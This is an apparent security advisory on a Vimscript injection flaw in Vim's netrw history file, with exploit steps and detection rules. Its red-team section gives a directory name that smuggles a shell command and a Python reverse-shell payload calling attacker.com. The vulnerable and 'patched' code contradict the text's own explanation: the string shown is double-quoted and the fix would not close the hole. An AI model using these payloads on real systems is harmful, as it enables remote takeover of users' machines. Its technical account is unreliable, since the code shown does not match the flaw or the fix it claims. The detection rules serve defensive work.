CVE-2026-47162

Executive Summary

CVE-2026-47162 is a critical Vimscript code injection vulnerability in the netrw plugin, a standard file explorer for the Vim text editor. The flaw resides in the s:NetrwBookHistSave() function within runtime/pack/dist/opt/netrw/autoload/netrw.vim. When a user browses a directory, its path is serialized into a single-quoted Vimscript string literal in the history file ~/.vim/.netrwhist. If a directory name contains a single quote ('), it can break out of the string context, allowing arbitrary Vimscript execution when the history file is sourced (e.g., on Vim startup or when netrw is used). This can lead to full system compromise via shell commands (system(), :!).

This vulnerability is particularly dangerous because it can be triggered by simply browsing to a maliciously named directory, either locally or on a remote filesystem (e.g., via SSHFS or a network share). The attack surface is broad, affecting all Vim users who use netrw.

Supply Chain & Package Security

This vulnerability is not in a package manager ecosystem (NPM, PyPI, Go, Ruby) but in a core plugin of the Vim text editor. The supply chain risk is low, but the impact is high due to Vim's widespread use in development and system administration.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Local (L) - The attacker must have the ability to create a directory with a malicious name on a filesystem accessible to the victim.
• Attack Complexity (AC): Low (L) - No special conditions are required beyond the existence of the malicious directory.
• Privileges Required (PR): Low (L) - The attacker needs write access to create a directory.
• User Interaction (UI): Required (R) - The victim must browse to the malicious directory using netrw.
• Scope (S): Unchanged (U) - The vulnerability does not cross a trust boundary.
• Confidentiality (C): High (H) - Arbitrary code execution can lead to data exfiltration.
• Integrity (I): High (H) - The attacker can modify files or execute commands.
• Availability (A): High (H) - The attacker can disrupt system operations.

Threat Level: Critical. The low complexity and high impact make this a high-priority vulnerability for patching.

Deep Dive & Mechanics

The vulnerability is a classic injection flaw in the netrw plugin's history-saving mechanism.

1. Trigger: A user opens a directory in Vim using netrw (e.g., vim . or :Explore).
2. Serialization: The s:NetrwBookHistSave() function is called to record the directory path in ~/.vim/.netrwhist. The path is written into a Vimscript string literal using single quotes.
3. Injection: If the directory name contains a single quote ('), it is not escaped. For example, a directory named test'|!id would be written as:

   call s:NetrwBookHistSave("test'|!id")
   

   When this line is sourced, the single quote in the directory name closes the string, and the |!id is interpreted as Vimscript commands.
4. Execution: The next time Vim starts or netrw is used, the history file is sourced, executing the injected commands. The attacker can use system() or :! to run shell commands.

Vulnerable vs. Patched Code

Vulnerable Code (in autoload/netrw.vim):

function! s:NetrwBookHistSave(path)
  " ... 
  let line = 'call s:NetrwBookHistSave("' . a:path . '")'
  " ... writes line to ~/.vim/.netrwhist
endfunction

The a:path is directly concatenated into a single-quoted string without escaping.

Patched Code (in Vim 9.2.0495):

function! s:NetrwBookHistSave(path)
  " ...
  let escaped_path = substitute(a:path, "'", "''", "g")
  let line = 'call s:NetrwBookHistSave("' . escaped_path . '")'
  " ... writes line to ~/.vim/.netrwhist
endfunction

The fix uses substitute() to double every single quote (' becomes ''), which is the standard Vimscript way to escape single quotes in strings.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Access to create a directory on a filesystem the victim will browse.
• Victim uses Vim with netrw (default).

Exploit Steps:

1. Create a directory with a malicious name:

   mkdir "test'|!echo 'PWNED' > /tmp/pwned"
   

2. Wait for the victim to browse to the parent directory using netrw (e.g., vim .).
3. The next time the victim starts Vim or uses netrw, the injected command will execute.

Advanced Payload:

mkdir "test'|!python3 -c 'import socket,subprocess;s=socket.socket();s.connect((\"attacker.com\",4444));subprocess.call([\"/bin/sh\",\"-i\"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())'"

Blue Team (Detection & Forensics)

Detection:

• Monitor for unusual directory names containing single quotes, especially in shared filesystems.
• Check ~/.vim/.netrwhist for suspicious entries containing |, !, system(, or other Vimscript commands.

Forensics:

• Examine the .netrwhist file for injected code.
• Look for unexpected processes spawned by Vim (e.g., sh, python, bash).
• Check for outbound network connections from Vim processes.

Indicators of Compromise (IOCs)

• File: ~/.vim/.netrwhist containing lines with single quotes and Vimscript commands (e.g., |!, system().
• Process: Vim spawning shell processes (e.g., sh -c, bash -c).
• Network: Outbound connections from Vim to attacker-controlled IPs.
• Filesystem: Directories with names containing single quotes and special characters.

Detection Engineering

YARA Rule

rule CVE_2026_47162_Netrw_Injection {
    meta:
        description = "Detects malicious .netrwhist files with injected Vimscript"
        author = "Valters IT"
        date = "2026-01-01"
        reference = "CVE-2026-47162"
    strings:
        $injection = /call s:NetrwBookHistSave\("[^"]*'[^"]*[|!]/
    condition:
        $injection
}

Sigma Rule

title: CVE-2026-47162 Netrw Vimscript Injection
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects suspicious entries in .netrwhist file indicating exploitation
author: Valters IT
logsource:
    category: file_event
    product: linux
detection:
    selection:
        TargetFilename|endswith: '.netrwhist'
        TargetFilename|contains: '.vim'
        Details|contains: 
            - "|!"
            - "system("
            - "call s:NetrwBookHistSave(\""
    condition: selection
falsepositives:
    - Legitimate use of single quotes in directory names (rare)
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2026-47162 Netrw Vimscript Injection - Outbound Shell"; flow:to_server,established; content:"|21|"; depth:1; content:"sh"; within:10; classtype:attempted-user; sid:1000001; rev:1;)

Remediation & Mitigation

1. Patch Immediately: Update Vim to version 9.2.0495 or later.
2. Workaround: If patching is not possible, disable netrw by adding let g:loaded_netrw = 1 to your .vimrc.
3. User Education: Warn users not to browse untrusted directories with netrw.
4. Filesystem Monitoring: Monitor for creation of directories with suspicious names.
5. Input Validation: If you maintain a fork or custom version of netrw, ensure all user-supplied paths are properly escaped.

Valters IT